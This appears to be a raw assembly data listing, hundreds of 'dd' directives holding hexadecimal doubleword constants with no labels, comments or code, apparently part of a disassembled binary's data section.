		dd 2ED35F71h, 76048FA8h, 0BF6BCE9Eh, 14B7D5DCh,	8D42E92Ah
		dd 5AE5ADD6h, 290BABE6h, 5CF8E59Dh, 4A88FC4Bh, 0BF668825h
		dd 32972D77h, 90D1FD42h, 6234B8A4h, 3EC57317h, 9638BFFh
		dd 550B97F7h, 41830237h, 583C4DE4h, 1275C53Eh, 0E36DAED6h
		dd 0CF965042h, 7A917803h, 2D0FEAB9h, 767183A5h,	127CD840h
		dd 803C603Fh, 0C7E6A2Fh, 65BAA44Ah, 0D0A7BF69h,	2C96E4A0h
		dd 0EB9BB300h, 0A0D381D2h, 9739F26Bh, 2BD87701h, 6FDB3BC0h
		dd 788E1780h, 200E9BEh,	0D88A09F1h, 0BCD22BF9h,	3802DC67h
		dd 5DBD098Ah, 5FB6571Eh, 151DF080h, 67C6D582h, 8D816A0h
		dd 56880D25h, 8600F641h, 0A8587421h, 25B9D08Dh,	3079EBC1h
		dd 929B340h, 4B65F185h,	0A995E97Bh, 5CBF801Ch, 79257C37h
		dd 177F548Bh, 6016656Dh, 0EE2B14DDh, 1A3B909Dh,	0DD59008Bh
		dd 5358A516h, 8B9878C2h, 9AE6140Bh, 95410712h, 0B1BC161Eh
		dd 0A9857DE3h, 280E8E2h, 487ADFAEh, 297D2878h, 0DF172B90h
		dd 1CC4C04Fh, 256DE3EFh, 9C47CEDFh, 0C500D424h,	91CFF529h
		dd 25E1FFF7h, 42C593B7h, 0BF57F118h, 26241270h,	8A43E237h
		dd 500212FAh, 5C16A5D6h, 84B25147h, 608EB325h, 4A6D6EEEh
		dd 0C13B94ABh, 2E190D44h, 12BB4725h, 2B44B16Bh,	5C811B9Bh
		dd 2EB41ECFh, 29133922h, 25BA795Fh, 2D48B5FDh, 21F8CDB3h
		dd 0A005B295h, 4C4677C2h, 3CAC36C4h, 1BD23C2h, 50178A70h
		dd 0D653DC8Ah, 92086108h, 93C7E953h, 0C08EDBABh, 12FB4977h
		dd 0B4BB1766h, 0BF19F082h, 455AC400h, 4B85687Fh, 97FF7253h
		dd 0A502CF07h, 0DCA0EF5Bh, 0CBB8277Ah, 8B79177Bh, 126052C8h
		dd 4BCB9F8h, 0BF6104C8h, 4CA0C6CAh, 0AA0B05E6h,	0DDBB4B74h
		dd 32DDE782h, 88C0F01h,	5602F97h, 0EF0CE13Ah, 6558E4A7h
		dd 0E9179922h, 962801E7h, 52CB0481h, 0AC55C497h, 5BF5C9DBh
		dd 191859B4h, 8213DD6Ch, 0A3D21298h, 12013BB3h,	6FAB2059h
		dd 5162303h, 250FD94h, 89321CFFh, 9C78465Bh, 4BE41297h
		dd 3988BACBh, 389D0EA2h, 7D00C14Ch, 4903BE52h, 75115F05h
		dd 6BAF36F6h, 1192314h,	79289608h, 0F456CA91h, 6D044609h
		dd 37EBC142h, 22BE2B10h, 685596DFh, 62E2BB4Fh, 419D101Eh
		dd 0AFC6D3F7h, 5FDFB6E0h, 855B4597h, 86FE34BFh,	0D0BD7986h
		dd 65B973h, 0A8AC643Ch,	7A0957F1h, 0DE8B6190h, 0CB9604Dh
		dd 1002F0E9h, 0EA3775A8h, 0DDB0F7A5h, 6E4A12BFh, 8B0B0AE2h
		dd 1EB758F8h, 6A7D480h,	9C25AD5h, 8DE84F9h, 0E095550h
		dd 0FD858D2Dh, 9060666Fh, 0A86B17h, 0F5239EC6h,	69BD0B81h
		dd 0AD26045Ah, 310F2FC0h, 5BD5CC92h, 411B1E1Eh,	796415Dh
		dd 2DDA2C66h, 29AC105Fh, 1B6D2785h, 9DF8254Eh, 4D3DEC91h
		dd 0BD8B4A78h, 0A5130D48h, 938FF90Bh, 0BFFFE4D0h, 7FFE0051h
		dd 0A2C0E6E1h, 9FE65DA4h, 32F2912h, 308CE8A2h, 520BBB43h
		dd 0C11B4386h, 639A1521h, 0DEDC1E3Bh, 100C05DEh, 0FFB34634h
		dd 37F97ADAh, 8CBF0E9Fh, 0EAE5C0C1h, 4E11A14Bh,	64A260h
		dd 79C5AD80h, 1CBFD4h, 1A7CA0ACh, 8509372Ch, 0EE80F95Eh
		dd 9FFB8B59h, 45110DEh,	0D01AFBD2h, 5000B09Ah, 345F8673h
		dd 9193F877h, 2D26203h,	0FAF4CC7Ch, 0CE06647Eh,	88F7BED9h
		dd 486D884Ah, 8263CE09h, 82F85981h, 0A559D09h, 0A28B4E55h
		dd 55E27FBFh, 5AEDC55Fh, 956EC6D5h, 21A4861h, 77808B96h
		dd 0EE505531h, 7CA9BAC1h, 7729A2A4h, 87542B42h,	4A1646DEh
		dd 0B85BAABCh, 0B78DDD96h
		dd 0EA2AA2FEh, 4F8AC611h, 11ECDCE9h, 0B003971Ch, 6023DB83h
		dd 0DE661756h, 0BA65FF5Bh, 1643A3BFh, 250B31F5h, 0ACFE530Fh
		dd 1E5FCF37h, 0D6FEA545h, 0EC98D61h, 29330Dh, 0F25269C0h
		dd 4F99264Fh, 0AD0CFD7Bh, 0F8023127h, 0D1BF7F5Ch, 0DFCE0957h
		dd 1445104Dh, 82F2CA62h, 0FA0D29FEh, 0BC71900h,	3BF84E27h
		dd 54FC1BE9h, 0D355F009h, 8779779Eh, 7DA7F924h,	6C270E35h
		dd 835509B3h, 0F25E79DFh, 10AFF517h, 245B12FEh,	9C21BA0Ch
		dd 8BDC0828h, 9941CCCh,	6C6D0551h, 2A1DC918h, 30B7CE04h
		dd 0C5CE0BBDh, 0DF76ADB2h, 42B9DE16h, 0B8EAA9A4h, 0FA83001Ah
		dd 81E43CE3h, 991789EBh, 0B1C80DDDh, 7F7302D7h,	0B660770Ch
		dd 0FE41D6C4h, 89ABEA54h, 0A4BABD32h, 0F951ED0Dh, 578C312Bh
		dd 9A9C6E5Fh, 0B9DEB74Dh, 825060E2h, 7F118DF9h,	8951B7A9h
		dd 52551244h, 41868D4Ah, 2F1BC9A0h, 0B4B699EDh,	0E93389F3h
		dd 3C09FFEAh, 0F0C02EEDh, 359352h, 53C812C7h, 293DBD33h
		dd 0E4D74795h, 32866016h, 0FA895B05h, 0A7E0C556h, 81F01B0Eh
		dd 0C2B42DEAh, 63551412h, 0FFD179D0h, 0C80560E6h, 0B60C5C23h
		dd 0B6EB655Bh, 0AF205EE5h, 0CBC22B58h, 0C1D2F01Ah, 5A4D3816h
		dd 98129C09h, 0E3C50A9h, 3A81D003h, 841945CCh, 2D9C6594h
		dd 0E90F8325h, 284C72D9h, 44FBC88Bh, 4037036Dh,	0C27C4F3Ch
		dd 8BD3A9C5h, 2012D6E7h, 5293275h, 0C3FDDF8h, 20D1030Ch
		dd 4DBDFD8Dh, 0D1208B1h, 8F640018h, 836DA005h, 0F2044EC4h
		dd 8B51135Ah, 8110F101h, 1446B0A9h, 335909B5h, 3C02C3C0h
		dd 0BC460129h, 0AA2B2445h, 0D2682A30h, 0D49A25A7h, 285CED57h
		dd 8208D004h, 0EB656138h, 0E8F2D3h, 62C3DBE3h, 4C9C66Dh
		dd 20D09E75h, 0FEF8CC6Eh, 0E5E39900h, 0E774666Bh, 3B8E85Bh
		dd 0C381FCD7h, 0FA8463C7h, 0AD2B03CDh, 7927003Bh, 0F1C57586h
		dd 88F65F33h, 0E505E277h, 97D194B4h, 34FFCEC0h,	806D991Eh
		dd 75E3E931h, 0B8001A70h, 0C97BD445h, 3A2B10h, 80835835h
		dd 5F5AB9C6h, 0D4406696h, 90ABDB4Bh, 493E09DCh,	0D700D2CCh
		dd 0F7815AC8h, 5F085B0Bh, 4F070079h, 9475AE25h,	594E40C0h
		dd 2409027Ah, 80DDD3C2h, 0ED122AF9h, 0E5580027h, 84A84972h
		dd 690BEF81h, 0E07BD0AFh, 4AF1E5h, 8B575AC0h, 33048FD7h
		dd 0CCA18C0h, 0FED4803Bh, 0C3EE7C83h, 1B7BC816h, 9D82FEFBh
		dd 851E415Eh, 0BF0DE0BAh, 11FFCC3h, 987D5224h, 0E0F899F3h
		dd 7A78697Bh, 307FD31Dh, 4100795Dh, 86261D82h, 2BF41DEBh
		dd 33FC4C65h, 21C76108h, 0C3B02E3Ch, 90F72Ch, 4AD8EEB0h
		dd 5CBAF189h, 7576831Dh, 63970746h, 13C13160h, 881D2638h
		dd 184CA718h, 0E8DD517Dh, 0D00EC7Ch, 7EE37B74h,	0C0873CC5h
		dd 7D739548h, 0AE6368E5h, 9D5810h, 5AEE6439h, 263552CEh
		dd 0DEB2300Fh, 0E7818009h, 3B996E16h, 7D80E877h, 0A8BDEA48h
		dd 3600D9C4h, 0A59A3243h, 846FEFh, 0D62A7087h, 7B63FE91h
		dd 8FE0CCE4h, 11510C00h, 0D1E24E1Fh, 13D63F5Dh,	8623D400h
		dd 0F22E0B65h, 0DD692700h, 0CF9268C8h, 55CB3C11h, 6284C380h
		dd 0EC8ED93Ch, 21FCB614h, 563007E8h, 63973385h,	0A18E510h
		dd 0AB5C00A2h, 74E12D8Ah, 0B8744E52h, 5F37BD07h, 620C1D2h
		dd 332BE2E0h, 0A208C83Eh, 0D9F22100h, 0DB264C1h, 8136000Ah
		dd 447C838Bh, 8A31024Bh, 0F4F710A3h, 326C3081h,	0DB2CEC59h
		dd 0F5BF4100h, 16E884C8h, 30C2F046h, 0F4208F01h, 14000624h
		dd 0BC139619h, 1837A78Ah, 38806CEEh, 0DE009D74h, 0E307DD78h
		dd 663E8953h, 219308EBh, 78D97E1Ch, 252F54Eh, 8C21FA39h
		dd 40A65824h, 0CDB00810h, 0C14D7800h, 0A5581D38h, 0DFC6A011h
		dd 0FBE0002Ah, 0DA576C71h, 41D51DBh, 3BC4D330h,	0C980EF36h
		dd 0EAB1F37h, 1B0E707Eh, 0AE07038Fh, 8E554007h,	14001853h
		dd 0FB2B2D09h, 0D87A1EEh, 60CBDE4Ch, 4389E818h,	7C64EB3Bh
		dd 2F0E7F6h, 90FC71EEh,	4472618h, 30127E28h, 9661B292h
		dd 0F500CEF3h, 9AD37017h, 694A8Eh, 22E091Bh, 0A7E5EA2h
		dd 2162151Bh, 804E930h,	823A2890h, 0E0A79290h, 0C4B15C2h
		dd 141E988Ah, 0DB0D1878h, 0D1168779h, 60AB1C0Ch, 4BDF1901h
		dd 0E11F89FCh, 0EF997AA9h, 4C08D098h, 126B3E18h, 6848FDC0h
		dd 545C211Ah, 231C44h, 224A3B8Eh, 0B8CE5D5h, 87DBC0E3h
		dd 7E200660h, 79BD4C3h,	8E1C0349h, 604C4183h, 0E6D8CF4Dh
		dd 0F96EAC66h, 0E4D507B1h, 4E6D9F60h, 514F1D8Eh, 548C392Fh
		dd 0AC510EB6h, 44311067h, 4D863811h, 288A79F0h,	7CF6043h
		dd 0DCA664E8h, 0B16697D4h, 80B88E1Fh, 0EC45E579h, 0FCDC29FDh
		dd 0A0725025h, 0FB344426h, 0A8BC9114h, 5E970F98h, 0ACB7804Eh
		dd 3945B9h, 6F0A4F65h, 124BFDC3h, 887A420Ch, 149A7941h
		dd 246A19DEh, 0F8019D22h, 12ADFDD0h, 9AF0A68Ch,	0EC465089h
		dd 0DA7E09EDh, 1C236447h, 0EFE829BBh, 670C0A82h, 8329A13h
		dd 4821C0BFh, 8C4B4622h, 2579F307h, 9A607008h, 0C80A641Ah
		dd 0DCCAD351h, 3282F605h, 20872822h, 2C462F5Bh,	0BA5ED01Fh
		dd 75C5D880h, 30CB828Dh, 4A6026B5h, 62402E95h, 3802608Fh
		dd 54B4C910h, 73A38E12h, 9D648054h, 7D63E206h, 205E0011h
		dd 30E7C650h, 0FF330FF3h, 5B5708C8h, 43EB021h, 0FBC34C00h
		dd 8C29355Eh, 2670A59h,	23B8B682h, 10DED094h, 1C08FA24h
		dd 0FC972982h, 0B2644032h, 442CA76Ah, 636661BCh, 9C3A330h
		dd 0E71BA5Ah, 8420867Eh, 0AC828082h, 0E5001E07h, 1F3B44h
		dd 23BBA811h, 0DA2FED90h, 46003C71h, 0F1C210Ah,	3FC3F9EEh
		dd 74006899h, 0C1F8E7Fh, 4E2E2BC8h, 0D012051h, 3D9A17CBh
		dd 779FAF0h, 1B0B4E0h, 0BC0380DEh, 81709108h, 0A9BD1900h
		dd 1B26B2F5h, 41D103B1h, 976CCD94h, 42E0D3E0h, 0ABFEE600h
		dd 5B724DEh, 0DAE0F5Eh,	27032122h, 78C2533Ah, 0EBC1ADC1h
		dd 6985AA0h, 3218EB00h,	9DB7E95Fh, 8F066A7h, 61002129h
		dd 6BE218E3h, 542AE5h, 2358E106h, 0AE3E6DABh, 0D567DC03h
		dd 0F92722FCh, 38806E18h, 0FEAF094Eh, 4600A74Fh, 0B19DB593h
		dd 6EDD9606h, 3C675826h, 446D4140h, 0BA118057h,	22DFE146h
		dd 30320C15h, 44085DD9h, 3E9321C1h, 8970BDE1h, 492560FFh
		dd 0E6D6C01Dh, 81B0213Bh, 0C6CC6EBh, 784238FBh,	18EA3088h
		dd 0E15F3311h, 60802888h, 327318E2h, 0D11000EAh, 2C02FF7Ah
		dd 50C10483h, 7452A1A5h, 93DFC88Ch, 2C186B60h, 59202B7Fh
		dd 0CDFF007Dh, 0BF0B9A71h, 892EF8A9h, 0F600C40Ch, 981BF322h
		dd 5A7B001Dh, 164BF5D7h, 380074C2h, 94D909E2h, 0D3864Eh
		dd 0D4FCC9B4h, 0ADA91247h, 9E90A41Eh, 0E9B7803Ah, 315285ACh
		dd 468D0020h, 0BF5EEEAh, 1D00B6C4h, 8C9A453Eh, 6C5A04h
		dd 0D2A57D05h, 0D5085C3Ah, 65378200h, 0AA200D11h, 0DD1400C7h
		dd 4F74ECFCh, 3B36BD12h, 1B62934h, 0D3203290h, 0E8383E39h
		dd 921CDB01h, 0C5401304h, 44B006C9h, 0E78C0008h, 88D2773Dh
		dd 40DF09E3h, 53C08F1Dh, 65D3116Bh, 54C00F48h, 274FF938h
		dd 2D2FC560h, 90C8450h,	7959080Ah, 6A8800AEh, 778742CAh
		dd 3E013DAAh, 9C1A03D7h, 1FE95318h, 0C17BE0h, 4E89DE80h
		dd 476AD1F9h, 0E68320h,	16510A08h, 3E575EB8h, 76980E63h
		dd 0D38EB085h, 137C308Ch, 0FC9554F0h, 915AE719h, 0B5100740h
		dd 91C0353Bh, 5DF28BEFh, 0A01C3ADCh, 61F5FE00h,	2E6E03B6h
		dd 0A8AAC106h, 3E38626Ch
		dd 9A8E34D5h, 3ECF3092h, 9170280h, 65E2FE5Ah, 0D30FC300h
		dd 27CA53D7h, 760709Ah,	33FFF0F5h, 0B6E6A0E5h, 6158B923h
		dd 219F0092h, 3ACD0E34h, 0A55E0093h, 0D1DEC708h, 9200FA2Eh
		dd 55BD0DDh, 0C1624Eh, 947CF7A4h, 0C9E750F6h, 65330B00h
		dd 3CB61B8Eh, 583D6097h, 7283ACBh, 1E66358h, 0C7BAFD1Eh
		dd 38808B70h, 7A3011AAh, 7C010F4Ch, 97E3B8F2h, 10801BDDh
		dd 0C9615A7Dh, 0B000E4EEh, 0CEE77FD8h, 2990E1h,	63CF1E37h
		dd 0DAB9328Eh, 44BB4500h, 0FE77178Dh, 0F795067Ch, 89945447h
		dd 0CC730F00h, 0D23B2C76h, 498A3A26h, 9FDE3078h, 48B03D20h
		dd 0EF506060h, 0E0CD7FE4h, 606C614Fh, 0EB403661h, 414292F8h
		dd 60E29648h, 1EEF8D18h, 4D1100F6h, 81AAE16Ch, 1D01F5F4h
		dd 2ACF9A32h, 50DC36EFh, 9E7883h, 0C8FCD2F0h, 8FBF21C2h
		dd 0AF567200h, 3208F72Ah, 8B260189h, 0DC38A5ABh, 9796053h
		dd 37CCE900h, 0D13C174Eh, 0FB0F00C0h, 9D4CA4CEh, 9700EF68h
		dd 0E054AE9Bh, 0E01FE2Fh, 2841FCCFh, 0BA448340h, 650DF661h
		dd 0AE108D59h, 3C2DE6C4h, 9E38B4A9h, 6FDE2103h,	0B2D01826h
		dd 20039660h, 0E71D8A47h, 9C480E3h, 0A7F00388h,	0AF68AE9Dh
		dd 0DEC6918h, 3BE9019h,	0C7243606h, 0F0AE11F5h,	0F2A1F90Ch
		dd 7E715066h, 0CEBD006Eh, 72CFA054h, 0E8026538h, 3D1E61B2h
		dd 90D68070h, 0C0E44C17h, 0FBFE5619h, 33FEF2B4h, 455CFD07h
		dd 38C16B86h, 4DC8E0E8h, 0DF50DDBCh, 18060036h,	4333216Ah
		dd 0E040856Fh, 0EB666D05h, 0C8BE0080h, 0A0599460h, 9C1F8393h
		dd 0CAC068DFh, 6180EA58h, 2DD082Ah, 47D0BE70h, 1B078CA7h
		dd 43CE7B11h, 1E0B304Ch, 410D2008h, 645B8636h, 0D80898C6h
		dd 0C1749D1h, 0CAA8EF20h, 4FF8EBC8h, 19723C0Eh,	66014FB6h
		dd 4658D5FFh, 21FA0F71h, 0C4C628D3h, 0FC2B4FBEh, 392AF240h
		dd 3C066E89h, 0A8002C50h, 0CF954691h, 0EC0017A1h, 97369E73h
		dd 0CD60EDh, 0F81BCE5Fh, 0B805425Bh, 0CB905A60h, 83EE6h
		dd 0A092A5C2h, 6D691550h, 944EC62Ah, 0B96F5518h, 60C9EB78h
		dd 0AAAC942h, 5B00D183h, 0EC13A5D0h, 0CD62268h,	0D9A2877Eh
		dd 0F2001A31h, 67B20A57h, 6F76B6h, 5C1C8CBh, 80E88D31h
		dd 6DD8A200h, 1665D947h, 6C3024C9h, 7B6B0908h, 0BDB19D80h
		dd 0B000EFC0h, 426EA567h, 9738AF1h, 0B301C75Fh,	82930800h
		dd 0F918579Fh, 81A167C9h, 3A87208h, 86DE2BDAh, 8321BC2h
		dd 0E0AB214Fh, 2840ADh,	0B5E53CB8h, 0FE6DC10Bh,	0E6F85963h
		dd 0F805F897h, 6030D957h, 8D31894h, 33DBF9A8h, 824269C4h
		dd 0DE0A91Ch, 620383FBh, 5A6D43C4h, 1B658166h, 48C7DFDCh
		dd 1D843CB2h, 0ECCB0072h, 3E678510h, 1C14436Ch,	0EF1288A1h
		dd 7AD30C38h, 0CF065A40h, 0A80443B7h, 418087A1h, 8E86DF6h
		dd 0C3591874h, 5F918916h, 6E5FA9F2h, 5719F6ACh,	1036A8C9h
		dd 12E46A69h, 19A6501h,	0E6BF6E68h, 6170804Eh, 0BA699EF1h
		dd 87080338h, 0B31EC36Bh, 0B09C3824h, 488DEB80h, 4D7774Bh
		dd 11E457F3h, 690098ABh, 0FA2CEA18h, 499A540h, 0A2096154h
		dd 0A9D240B3h, 6682C9Ah, 91EDFB9Dh, 0BB600894h,	9971F321h
		dd 922A01A3h, 930B9E2Eh, 393820CEh, 0EC081341h,	90349238h
		dd 0F4164440h, 47827512h, 3FC20001h, 0C451EC76h, 31852404h
		dd 1C6AF4D8h, 0FD10080h, 0E96F56AFh, 0D660BCA8h, 5050AD72h
		dd 4E3ED0E4h, 3E681FC1h, 0D26B2070h, 0E3E1C084h, 5D73FD6Dh
		dd 0C832091Dh, 11A8A0D4h, 0C503EA31h, 95F3819h,	0B4FF5828h
		dd 66502166h, 1B9081F1h, 9A04AB18h, 0FA8D68F2h,	9AF0512Ch
		dd 2E23401h, 0EF6A45E7h, 204DC2E0h, 3A1815BAh, 4480E57Ah
		dd 9A39F4EBh, 22B9814h,	0E49D7206h, 9361A524h, 14088C2Ch
		dd 1F20E9h, 6064721Bh, 4EDF5199h, 0D612CA00h, 8A5CBC9Eh
		dd 1268DD61h, 0A274006Bh, 5EBD35F2h, 0FF6880A1h, 0C228E5E0h
		dd 8440CF26h, 0B34D1B80h, 667C19h, 0FBF22047h, 87A0B7A8h
		dd 10D1CFh, 2ADA585Eh, 0BEF33A7Dh, 4BB157B0h, 0D5003C44h
		dd 6BF4C29Eh, 60D96963h, 0F0AF7043h, 4626A482h,	9D00781Bh
		dd 0BFA820DEh, 0E8A229D5h, 800C1180h, 0E38E722Bh, 62458C1Ch
		dd 0E72F4DCh, 0BFE5B558h, 4FD7D4C0h, 0C51BF22Eh, 88784451h
		dd 90E178E6h, 0D0D61200h, 0FFB00CCAh, 0B40464F1h, 189FEDB7h
		dd 23EAC080h, 8FDF224Dh, 0F9EB9C30h, 7D0B3012h,	0A9A03EFDh
		dd 298D2489h, 9684C00h,	20340545h, 0C82C86Bh, 0A8073018h
		dd 53DA0D08h, 6C25620Fh, 0AA1FA605h, 0F94F3A4Ch, 744CE88Ch
		dd 0DEE3002Dh, 78A8CC5Dh, 0A6017E1Fh, 0E0BE2BA2h, 4C3451C2h
		dd 88A040CEh, 0F0DA71C1h, 0D430CCE5h, 0C9C9068h, 7804424Eh
		dd 0C801D821h, 0A0552715h, 72DC9076h, 0F8A56493h, 3C4243C6h
		dd 1831766Ah, 50BE15C7h, 39247EBAh, 0D6839832h,	78094F73h
		dd 0B3C337C9h, 0C85DE141h, 0D30D451h, 5927580Fh, 9E23007Ch
		dd 0C0AEC12h, 0F9CE46B3h, 0F4B11D31h, 6F18EC79h, 6A2BF707h
		dd 8E60B9F8h, 35A48C8Bh, 4916D0Ah, 834E99E8h, 0D1E00204h
		dd 5900C798h, 9726ECE3h, 36DC535h, 8745844Bh, 0E2C9D8BEh
		dd 0D3CA604Dh, 3B053770h, 5704E6B2h, 60918CC2h,	0A13941h
		dd 0AFF187F5h, 235447C4h, 0CDB73B00h, 3ED89EF0h, 3DC100A0h
		dd 874467EEh, 0C4099578h, 81A955C9h, 0F557B812h, 0D4011026h
		dd 0BDBC4A8h, 0A70F0BDEh, 9E49A91Dh, 24912C17h,	2DE69480h
		dd 92021729h, 9C0F16FDh, 66BC4972h, 0DA9F913h, 3D7C3024h
		dd 8125C512h, 9DB69802h, 298048C3h, 96A3000Eh, 6DC64E7Ah
		dd 3275C485h, 8FCD9A03h, 0E01878B0h, 5F8AB69h, 0A3FDED6Eh
		dd 0EEE820BFh, 0B8B26D3Dh, 0C1C53C02h, 60F6BA55h, 1301A180h
		dd 20391ACFh, 0C73ACE24h, 0A8770B00h, 3D38495h,	0B8855CADh
		dd 84E8504Ch, 0AE4F008Ch, 2F920C42h, 5512E357h,	0C1762D1h
		dd 0F9087C7Ah, 4F88E8FAh, 2084D48Ah, 0A77823h, 0F2386569h
		dd 0C22C6B0Fh, 0F183F0B0h, 0BBCE0BA8h, 4B1030DBh, 9D0F6102h
		dd 8F0488A6h, 0AD680699h, 0C520D562h, 6E89937h,	0E9C8CC69h
		dd 760FE8BDh, 84B9283Dh, 0C0CC3A21h, 0A97204F2h, 332684E4h
		dd 2B210050h, 188D7207h, 0EA1868F5h, 0E98F684h,	133090ECh
		dd 5011442Eh, 14A82CECh, 600E943h, 27A16358h, 320D361Bh
		dd 60C7FCFDh, 45055020h, 0A1B8237Ch, 3C0C6DF6h,	5DE3550Fh
		dd 4047219h, 9C9180C9h,	8C246339h, 376FDh, 0A0D3670Dh
		dd 0E535E433h, 0C4306062h, 0C3246872h, 0DE2102BEh, 1045249Ch
		dd 219FF241h, 0CCB0DA54h, 0FF119A9Ch, 0BA888568h, 9964C080h
		dd 0F8F01E8Bh, 0DABF1862h, 796989A1h, 78405930h, 500CBA6Bh
		dd 13DE84F8h, 6070111Bh, 2221FB9Ch, 75210EF2h, 396405Ah
		dd 0DD0EC120h, 602EF7B6h, 3DA6F360h, 59E6F932h,	18B0798Ch
		dd 8C9B00E2h, 0B6797BEFh, 0DF03DD93h, 6A55596Bh, 2E102EAh
		dd 849E8D8h, 672A3840h,	0A62FCC14h, 3B0D2394h, 68F09A04h
		dd 2C738BDh, 550F9965h,	0FC4071FAh, 0B251A8DAh,	0D9F0C388h
		dd 4015A544h, 0E80B05h,	0E9A9DBD6h, 587DE77Ah, 680B7C31h
		dd 0EC823BD9h, 151243A5h, 80BB1144h, 0F9BA4739h, 71A00177h
		dd 2E4DF8FEh, 0D8FC2049h, 60172C07h, 8A6B92EFh,	308B0ABh
		dd 722C6039h, 0F421E38Fh, 0E9A0BEA5h, 72031971h, 6780C6EFh
		dd 2A86E837h, 0BF4206D9h, 6856A66Dh, 0BEACE012h, 8F00C04h
		dd 42D1EB00h, 0C10B1970h
		dd 99EAE6BFh, 0FF1810B0h, 0E4927208h, 214FC63Ch, 72186000h
		dd 90779BAAh, 0C38A0B02h, 1013CD3Dh, 588C507Bh,	0E4142EF1h
		dd 1E8C282Ch, 1A0016D1h, 82BDBC72h, 49C4970Ah, 0D6002417h
		dd 5CBA187Ch, 1CB1E330h, 64110CACh, 6200F83h, 0ED312ECAh
		dd 20162A10h, 80527200h, 35B86A3Fh, 59F014D9h, 0EF05FCD2h
		dd 2485E4Dh, 1ACC3C9Ch,	0B4C0A04Dh, 2684DD3h, 0C269C4E7h
		dd 4048BE1Ch, 0C12997CFh, 50798C45h, 300218D6h,	0D26A1306h
		dd 0F50EEBCh, 51F155D7h, 0ABC16CAh, 39F5FCD3h, 76323C0Eh
		dd 7105E7A1h, 60AC6169h, 0C91EAA34h, 82007B66h,	86D7DA19h
		dd 0B8302C9Ah, 0F9CC0DECh, 0E9B0EF40h, 0BE46316h, 1350C4Ch
		dd 0CFFF1085h, 50729E72h, 0EB564EF0h, 1FFEF684h, 748CCDh
		dd 0FB1ACBE5h, 0DC5A7FD7h, 10B03014h, 0A8C0A21Ch, 65682B9Ah
		dd 0D022FA43h, 9970FC01h, 0C3485C82h, 9700F03Dh, 0D3F3F2F0h
		dd 93003725h, 9B63DDAEh, 0E4486Bh, 0A174986h, 0AC343364h
		dd 6A77D500h, 73CE4C11h, 48C876CDh, 500C04DCh, 696862D9h
		dd 3D48EA17h, 48CE000Bh, 6184F38Ch, 5ADAE13Eh, 5818409Ch
		dd 8D00607Bh, 4B350999h, 1E4F8F5h, 3577DB6h, 0F49528BEh
		dd 0F6FAC614h, 3EB5258h, 0B696F6Bh, 0F388E099h,	0A7560539h
		dd 3C1F3522h, 0A6043014h, 5E38AF90h, 0B6B71490h, 0E0EE00ADh
		dd 223D5269h, 0C20A0E07h, 90713E9Ah, 0F2B70B80h, 749C3ECh
		dd 95DFA8D6h, 1090D0E4h, 30003DB6h, 0B452556Ah,	0CECFE1h
		dd 76B7E08Ah, 793C2990h, 497C697Fh, 0C5E79900h,	86D660ECh
		dd 0E14400C6h, 344895F5h, 42240A6h, 0C5D6154Eh,	77009CFCh
		dd 0DE494B30h, 0CA007DADh, 0FBDA5F50h, 1138684h, 0D46BDCE3h
		dd 5380A2B0h, 36C872F4h, 8200FEA1h, 33AF3FC4h, 738FCDA6h
		dd 81590331h, 0AAF023F5h, 0C97F9DA8h, 2972C607h, 0A8C08099h
		dd 7DA712h, 7C5D03F4h, 84AC452h, 1464407h, 0A4616EDEh
		dd 72E96031h, 4F9C2183h, 0B4D0C642h, 0D73D9DCAh, 66B90541h
		dd 8E807B76h, 3CA9E6h, 1A7D3E5Dh, 12FC9269h, 3B072498h
		dd 0FF41BDF1h, 0ECE2983h, 53842250h, 0D0760E96h, 0F028CA67h
		dd 0BAE0F46Ch, 3E4F3600h, 0C410A207h, 59E20D85h, 9C3004B3h
		dd 7B1B3790h, 665DC048h, 6EEF19C2h, 18FFD90Fh, 0DB4304B9h
		dd 32602601h, 0F18F2745h, 80BF7542h, 7999E928h,	3723E25h
		dd 0E6528234h, 0D8866DFEh, 5114F503h, 88A606C2h, 0A2677Dh
		dd 120E48A1h, 0FEC8ABF6h, 568C2600h, 9946F54h, 25B50716h
		dd 40DCF358h, 3F389C0Eh, 0A1E57900h, 0FC29A865h, 778D0h
		dd 135E7559h, 1BA9CE1Ah, 9D69C93Eh, 28476ABFh, 0AC936B26h
		dd 68200266h, 6FF8AFC3h, 0F2E2B7C0h, 7B2B1607h,	0DAA0FC45h
		dd 301A1CC9h, 62517976h, 0FBEC5AD9h, 349F5Ch, 33FCDBBEh
		dd 7051B5EFh, 8EAE000Ch, 89A7A146h, 0E50E16BCh,	9C1AF6FCh
		dd 0D5CA8C81h, 5980930Eh, 4DB1C22Eh, 290C3858h,	8104E0Bh
		dd 0D521C021h, 13C6B159h, 0A803A376h, 30F45786h, 8974EB90h
		dd 999D8BCAh, 250485C9h, 0FC08007Fh, 0ABC35432h, 53296003h
		dd 0A02F48E0h, 0CFD6EEh, 5E5AA5C9h, 0EEB0D8Ch, 2801AC76h
		dd 47A74A84h, 30F0F81Dh, 4CE400C8h, 668BCF27h, 0FB60D1C5h
		dd 0E884E3D0h, 1818C612h, 1C0170FDh, 677F8FB7h,	0E5DCD6F5h
		dd 0F0A1141Bh, 0E600CCD8h, 0F17A1453h, 0EE003B84h, 0E96B07D4h
		dd 1195FEh, 0BBB43DC8h,	2CA1A5ABh, 0F2698B03h, 0C8BEC142h
		dd 0E0C9B6h, 2322CEC3h,	0CB91AF9Ch, 6D8D4602h, 0C0E5477Dh
		dd 26639Ch, 0A5BC7B6Ch,	9E45CD61h, 2BEC9800h, 0DDC095B3h
		dd 64100E5Bh, 38C0CF59h, 0ACFDA715h, 0A2EAAE00h, 3D6C7D61h
		dd 9AED0167h, 769E1F86h, 161DF0A1h, 52190D00h, 41115CCEh
		dd 0CA250FCh, 0BF2D22B9h, 3D081043h, 3484C29Ah,	1426054h
		dd 2826CD07h, 0D04E0C31h, 6718A7B0h, 884C050Fh,	2DD98176h
		dd 0A2D04B80h, 0CDBB2CE2h, 821006B1h, 0E9F938BAh, 8C4DE437h
		dd 0F1411F18h, 31476851h, 59391E58h, 0B3C9F077h, 0E3AE8707h
		dd 8E501D48h, 0F809A586h, 0D14C1807h, 524B3065h, 0A63F6A1Bh
		dd 0C151C381h, 2180CE4Eh, 0B7189B23h, 0F778E0CFh, 136FDF0Ch
		dd 2479BBh, 0C3D0492Eh,	0D891985Ch, 0ED1418C0h,	6339A35h
		dd 4A571BE8h, 48731D9h,	95140AF6h, 0BED08298h, 0C31A120Ah
		dd 0A6510394h, 2DB869F3h, 0D40091E1h, 26FF2ADFh, 913B7BEh
		dd 1559BF30h, 29383806h, 0C511B542h, 86C2114h, 0F99020E0h
